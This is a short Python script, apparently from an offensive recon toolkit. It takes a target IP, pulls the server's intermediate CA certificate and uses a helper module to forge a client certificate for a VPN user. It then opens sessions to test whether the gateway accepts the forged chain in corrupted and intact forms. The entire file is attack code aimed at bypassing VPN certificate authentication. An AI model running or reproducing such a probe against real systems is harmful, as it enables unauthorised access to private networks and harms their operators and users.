import struct, sys
sys.path.insert(0, "/root/recon")
import cp_oracle as co

ip = sys.argv[1]
ders, org = co.get_ica(ip)
ica = ders[1]
subj = co.x509.load_der_x509_certificate(ica).subject


def run(corrupt):
    chain = [ica]
    f = co.forge(sys.argv[2] if len(sys.argv) > 2 else "vpnuser", ica, org, subj, chain)
    if not corrupt:
        f.chain_ders = [ica]
    s = co.Session(ip, "vpnuser")
    r = s.run(f, with_hash=False)
    s.close()
    txt = [n[2:] for n in r["notes"] if n.startswith("t:")]
    return r["phase1"], " | ".join(txt)[:300]


print("corrupted ICA:", run(True), flush=True)
print("intact ICA   :", run(False), flush=True)
